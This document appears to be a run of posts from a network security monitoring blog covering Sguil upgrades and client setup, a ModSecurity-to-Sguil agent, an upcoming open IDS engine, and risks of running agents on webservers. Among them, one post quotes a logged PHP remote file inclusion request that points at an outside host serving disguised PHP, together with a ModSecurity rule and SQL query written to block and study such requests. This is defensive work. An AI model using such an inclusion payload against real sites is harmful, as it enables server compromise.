On my Sguild server called “owl” — I’d like to think it’s very wise — I first went to my sguil directory, where the CVS checkout lives. There I did a “cvs up”. Next it was time to upgrade the database:

owl:/usr/local/sguil/server/sql_scripts# ./update_0.8.tcl
This script is used for upgrading from Sguil Version 0.7.x
to Sguil Version 0.8.x only.

Use these scripts at your own risk. Be sure to back
up your data before proceeding!!
Do you want to continue? (y/N) y
Database password: ***
Enter path to sguild.users file: /etc/sguild/sguild.users
Connecting to database…Success.
Trying to use database sguildb…Success.
Sguild DB Versions: 0.13
Migrating your password file (/etc/sguild/sguild.users) to the database:
Updating user name sanc
Updating user name victor
Success.

** Finished. The DB has been upgraded. **

owl:/usr/local/sguil/server/sql_scripts#

After this I started the sguild process and it came up just fine. Next I did “cvs up” on all sensors, restarted the agents. A final “cvs up” on my desktop and sguil.tk was updated as well.

The total upgrade took me only a few minutes and I’ve not encountered any regressions. Impressive work by Bamm and his team!

We have the first versions of our new YAML based configuration format checked in, a brand new logging API, midstream pickup support in our Stream engine, native PFRING support and many other additions.

Next up in development is IP reputation support in the engine, support for advanced vars and more L7 modules.

The IP reputation is one of the things we have high expectation about. In working group discussions we defined 16 categories for which to keep reputation, for example: spammer, cnc, p2p, etc. We’re currently designing the datatypes for holding as much of this info in memory as possible.

The advanced vars is the idea of applying ModSecurity’s var collections to our engine. They will be like Snort’s flowbits, but then more advanced. At least 2 more types will be supported: integers and raw buffers. Integers should enable signatures to modify counters, but also compare various counters with each other.

In the L7 modules development we’re putting a big focus on HTTP (more on that later). We’re also currently working on a DCE/RPC decoder. For this work we hired Kirby Kuehl from Breaking Point. The L7 framework I’m still working on should make development of modules for new protocols fairly straightforward.

We expect to announce the name and mascot of our engine soon. Also our bylaws should also finally been done almost now, just as the consortium license. Once thats all into place, we expect to open up our code to the public quite soon. Exciting times!

GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1

Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I’m doing that for a long time now, never seen a single false positive. The rule looks like this:

SecRule ARGS:/.*/ “https?.*\?$” “msg:’LOCAL PHP ? link code inclusion attempt’,severity:1,phase:1″

This rule looks at all request args, and checks if their value contains http or https and if it ends with a questionmark. If so, the request is blocked.

Today I was thinking that the URI’s that are included probably contain some badness, and it would be interesting to look what all the URI’s are. Using modsec2sguil I’m adding all ModSecurity events to Sguil, so this was going to be an interesting MySQL challenge!

The query I came up with is this:

SELECT COUNT(*) AS cnt, INET_NTOA(src_ip) AS “Source IP”, trim(LEADING “=” FROM substring_index(substr(unhex(data_payload),locate(‘=http’,unhex(data_payload))), ‘\?’, 1)) AS url FROM event INNER JOIN data ON event.sid = data.sid and event.cid = data.cid WHERE (timestamp >= ’2009-01-13′ AND signature LIKE “MSc 403 LOCAL PHP \?%”) GROUP BY src_ip,url ORDER BY cnt DESC LIMIT 10;

The result is here (click here for full picture):

I get about 10 url’s like this a day, usually they are tried more than once. So what is at these links? The first one gave a 404, so let’s look at the second one. It’s a jpg, thats a picture right? Wrong!

I downloaded the file and opened it in vim. As you can see in this fragment, this is php code…

Anyone know if there is some place I can report these url’s to on a daily/weekly basis?

“As mentioned a few weeks ago, we’ve been working to bring out tool to anonymously report IDS/IPS hits. Similar to DShield’s firewall log reporting, we believe we can make some incredible data inferences with this information, as well as help improve the quality of our signatures while giving us all feedback to tune our rulesets.

But that’s just the start. As with DShield’s data, I think we’ll run into benefits to the community that we can’t even imagine until we start to look at the data.”

The next step for the reporter is adding support for getting the events from Sguil. Expect to see that soon!

Get the new release here: http://www.inliniac.net/modsec2sguil/

Thank you Ryan for your contribution!

Doing this turned out to be quite simple. The sensors have their own table in the database and one of the fields for a sensor is called ‘active’. I figured deactivating the sensors would do it. Deactivating all sensors from the net_name group ‘utrecht’ is done like this:

mysql> UPDATE sensor SET active=”N” WHERE net_name=”utrecht”;

After this, the net_name ‘utrecht’ disappeared from the Sguil client ‘Select Network(s) to Monitor’ screen. However, the ‘Agent Status’ tab in the Sguil client still showed the deactivated agents. This was solved by restarting the Sguil server. So now my ‘Agent Status’ list is clean again!

There are many security tools installed, including the Sguil client. This is the 0.6.1 version however. As I have written before, I’m running 0.7.0 CVS here, so I needed the 0.7.0 CVS client. Luckily, it’s easy to install.

^^analyzt@raWPacket ~ ->
[HeX]$ cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil login
Logging in to :pserver:anonymous@sguil.cvs.sourceforge.net:2401/cvsroot/sguil
CVS password:
cvs login: warning: failed to open /home/analyzt/.cvspass for reading: No such file or directory
^^analyzt@raWPacket ~ ->
[HeX]$ cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil co sguil
cvs checkout: Updating sguil
U sguil/README
…
U sguil/web/lib/geoip.inc
^^analyzt@raWPacket ~ ->
[HeX]$

Before starting the client, remove the sguil.conf in /home/analyzt/, or change the SGUILLIB setting in it. It took me quite some time and help to figure this out. Many thanks to Bamm Visscher and David Bianco! One last thing before starting the client. Remove the /home/analyzt/.sguilrc. If I didn’t I got an error when logging in: “unable to write preferences to /home/analyzt/.sguilrc”. The fonts also looked very ugly and trying to change the font resulted in an error as well.

When starting the client, enterering sguil/client and issuing a ./sguil.tk doesn’t work:

^^analyzt@raWPacket ~ ->
[HeX]$ ./sguil.tk
exec: wish: not found
^^analyzt@raWPacket ~ ->
[HeX]$

The solution to this is simple, just explicity call sguil.tk with the installed wish:

^^analyzt@raWPacket ~ ->
[HeX]$ /usr/local/bin/wish8.4 sguil.tk

Then it works. Next I will try to somehow make sure it can survive a reboot and figure out how to enable the wireless lan.

tcl8.4
tclx8.4
tcllib
tk8.4
iwidgets4

Checking out the Sguil client is easy (make sure you have ‘cvs’ installed):

cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil login
cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil co sguil

After this the client runs fine on my system.

Having the agent authenticate itself is a solution, but it relies on the agent credentials to remain secret. So when a webserver is rooted the attacker will have access to the credentials as they will be stored on the webserver itself. So this approach does provide an extra layer of defense but local roots aren’t uncommon, so it remains risky. It may still be worth the effort though.

One idea that came up was a proxy, in two forms. A Sguil proxy filtering the Sguil agent-server protocol is one of them. This would be positioned between the Sguil server and the agent to prevent the attacker going after the server directly. The proxy would be able to filter on the communications and could maybe trottle the rate of events to protect agains DoSsing the server. Maybe it could also block an agent completely is it’s sending malformed commands. Such a proxy could be positioned on the border of a monitored and management network.

David Bianco suggested a different proxy-like setup in which the actual sensor would receive the raw data over the network in some (secure) way from the webserver. This way the sensor talking to the Sguil server wouldn’t have run on the webserver. I think this is a good idea for the webservers. It does add complexity, because there will have to be some form of communications between the sensor and the webserver. At the same time this could simplify things as a single sensor box can deal with multiple webservers. In this case the credentials of the agent won’t be stored at the webserver, which is another plus. With this idea, much relies on how the webserver-sensor communications would be implemented.

Both ideas won’t be able to prevent an attacker owning the webserver to insert bogus data. Also in both cases the proxy can and probably will get a target itself.

Even though the risk increases with agents running on webserver, it also exists on other types of sensors. If a hole is found in Snort, Snort_inline, Sancp or other tools Sguil uses, the effects could be the same.

More ideas and suggestions are welcome!

Sguil of course, would be a extremely interesting target for hackers. It contains so much info about the monitored network. Also, it has realtime access to all network traffic. A hacker may also be interested in shutting Sguil down to avoid detection.

Securing Sguil is therefore very important. Sguil has a number of defenses. It separates agent and client access so an agent cannot issue commands a client only should issue. The clients need to authenticate to the server and Sguil provides the option to do both the agent-server and the client-server communications over SSL. Finally Sguil also has the option to only allow certain ipaddresses to connect. This can be set both for agents and clients separately.

With my Modsec2sguil agent, a part of these defenses go overboard. Modsec2sguil is likely to be run on webservers directly, and therefore the separation of a monitored network and a management network is no longer possible. Webservers tend to get hacked a lot more often than IDS systems, so this is an additional risk. A user getting access to the webserver is able to see that there is a Sguil agent active and will be able to connect to the Sguil server directly.

When all security of Sguil is in place the only thing this attacker will be able to do is act as an agent to Sguil. No authentication is required (or possible). The risk here is that the attacker can send bogus events to flood the analyst and Sguil itself. Possibly even DoSsing the server. By sending malformed data, the attacker could also try to crash the server.

So what can be done about it? Well I really can’t think of much other than to add authentication for agents in addition to the clients. This would provide an extra hurdle for the attacker because he has to get the right credentials. However, these credentials will have to be in the agent configuration on the sensor, so if the attacker manages to escalate his privileges he will get access to the credentials and this defense will fail. Still, it’s another layer of defense, so I think it’s better than nothing.

I’m very much interested in hearing other opinions about this!